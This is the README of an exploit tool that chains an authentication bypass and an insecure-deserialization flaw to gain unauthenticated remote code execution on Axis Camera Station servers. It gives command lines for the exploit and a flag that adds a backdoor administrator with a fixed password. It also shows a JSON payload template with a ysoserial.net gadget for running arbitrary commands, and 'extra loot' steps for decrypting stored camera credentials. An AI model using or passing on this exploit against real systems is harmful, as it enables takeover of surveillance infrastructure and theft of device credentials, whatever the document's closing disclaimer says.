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Unauthenticated RCE on Axis Camera Station (chaining CVE‑2025‑30026 and CVE‑2025‑30023)

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CVE-2025-30026 + CVE-2025-30023: Unauth RCE

This exploit chains CVE‑2025‑30026 (Authentication bypass) with CVE‑2025‑30023 (Insecure deserialization) to achieve unauthenticated RCE on Axis Camera Station software. It bypasses the login mechanism and delivers malicious serialized payloads that trigger arbitrary command execution, giving the attacker full control over the target machine.

Both vulnerabilities affect Axis Camera Station Pro versions before 6.9 and Axis Camera Station versions before 5.58.

It is based on Claroty's blog post "Turning Camera Surveillance on its Axis", which describes the protocol and the associated vulnerabilities.



Usage

python3 main.py --host <TARGET_IP> --key <CLIENT_PRIVATE_KEY.pem> [OPTIONS]
Flag Description
--host Target IP/host (required).
--port Target port (default 55752).
--key Client RSA-2048 private key in PEM (required).
--json Local JSON file containing the Request to send.
--version VersionFacade.get_ProductVersion Request to get version information.
--adduser Create user ricardo with password ThisIsIt123 and add it to the Administrators group.
--wait Seconds to listen on the channel after the handshake (default 5).
--listen Seconds to wait for the response after sending a Request (default 15).

Requirements

Install dependencies and generate an RSA private key in PEM format for the client:

pip install cryptography
openssl genrsa -out client_priv.pem 2048

Examples

Query the product version to check the version is vulnerable:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --version

img1

Exploit the deserialization to create an administrator user ricardo with password ThisIsIt123:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --adduser

img2

img3

Send a custom Request from a JSON file to execute any command:

python3 main.py --host 192.168.1.197 --port 55752 --key client_priv.pem --json my_request.json

Request file format

A Request is a JSON object with a single "Request" key. The format to exploit the deserialization is:

{
    "Request": {
        "Id": "random123456",
        "Service": "SessionFacade",
        "Method": "LogOnAsync",
        "Parameters": {
            "uri": "http://192.168.1.197:55752/",
            "clientInformationDto": {
                "$type": "System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
                "System.Security.ClaimsIdentity.actor": "AAEAAAD/////AQAAAAAAAAA..."
            },
            "communicationType": 0,
            "ct": "random123456"
        }
    }
}

The value of the clientInformationDto field can be obtained using Ysoserial.net with a gadget such as WindowsIdentity, which looks quite stable to exploit this vulnerability (other gadgets crash the service):

ysoserial.exe -g WindowsIdentity -f Json.Net -c "ping -n 3 10.0.0.4" -o raw


Extra loot

Once you have access to the Windows machine, you have access to the .FDB databases which contain the credentials to connect to the different devices. These are encrypted using a weak AES implementation, which you can decrypt immediately using the host's volume serial number or brute-force it in minutes with a GPU.

You can use the script in this repository to exploit it: CVE-2026-63286.



How the protocol works

AXIS Camera Station wraps a stateful binary protocol on top of HTTP. Instead of one request/response per connection, it opens two long-lived channels and streams framed messages over them until the connection closes.

Layer Detail
Transport HTTP over port 55752. GET /_/ opens the RX (receive) channel; POST /_/<channelID> is the TX (send) channel, with each message in the POST body.
RX framing HTTP chunked body; inside it, control frames are [uint32 LE length][data].
Handshake Both sides exchange a public key, then a random AES session key wrapped with the other side's public key.
Key format Client sends its X.509 cert (base64). AES key is sent as base64(wrapped_key):base64(iv).
RSA wrap PKCS#1 v1.5.
Channel AES-256-CBC with PKCS#7 padding. Server→client frames use the server's key + IV.
Application Axis.Remoting JSON. The client first sends its ClientId as a HELLO, then {"Request":{"Id","Service","Method","Parameters"}}.

Handshake sequence

RX  GET /_/                 <-  channelID
RX  (server pushes)         <-  server cert (X.509, base64)
RX  (server pushes)         <-  server AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  client cert (X.509, base64)
TX  POST /_/<channelID>     ->  client AES key + IV  (wrapped)
TX  POST /_/<channelID>     ->  HELLO (ClientId)
TX  POST /_/<channelID>     ->  encrypted JSON Request
RX  (server pushes)         <-  encrypted JSON Response


Notes

  • Tested on versions 5.57.27610 and 5.57.33556 running on Windows 11.

  • Deserialization attacks can crash the service if unstable gadgets or inappropriate parameters are used, so always test in controlled environments.

  • This script is provided solely for educational and authorized testing purposes... use at your own risk!

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Unauthenticated RCE on Axis Camera Station (chaining CVE‑2025‑30026 and CVE‑2025‑30023)

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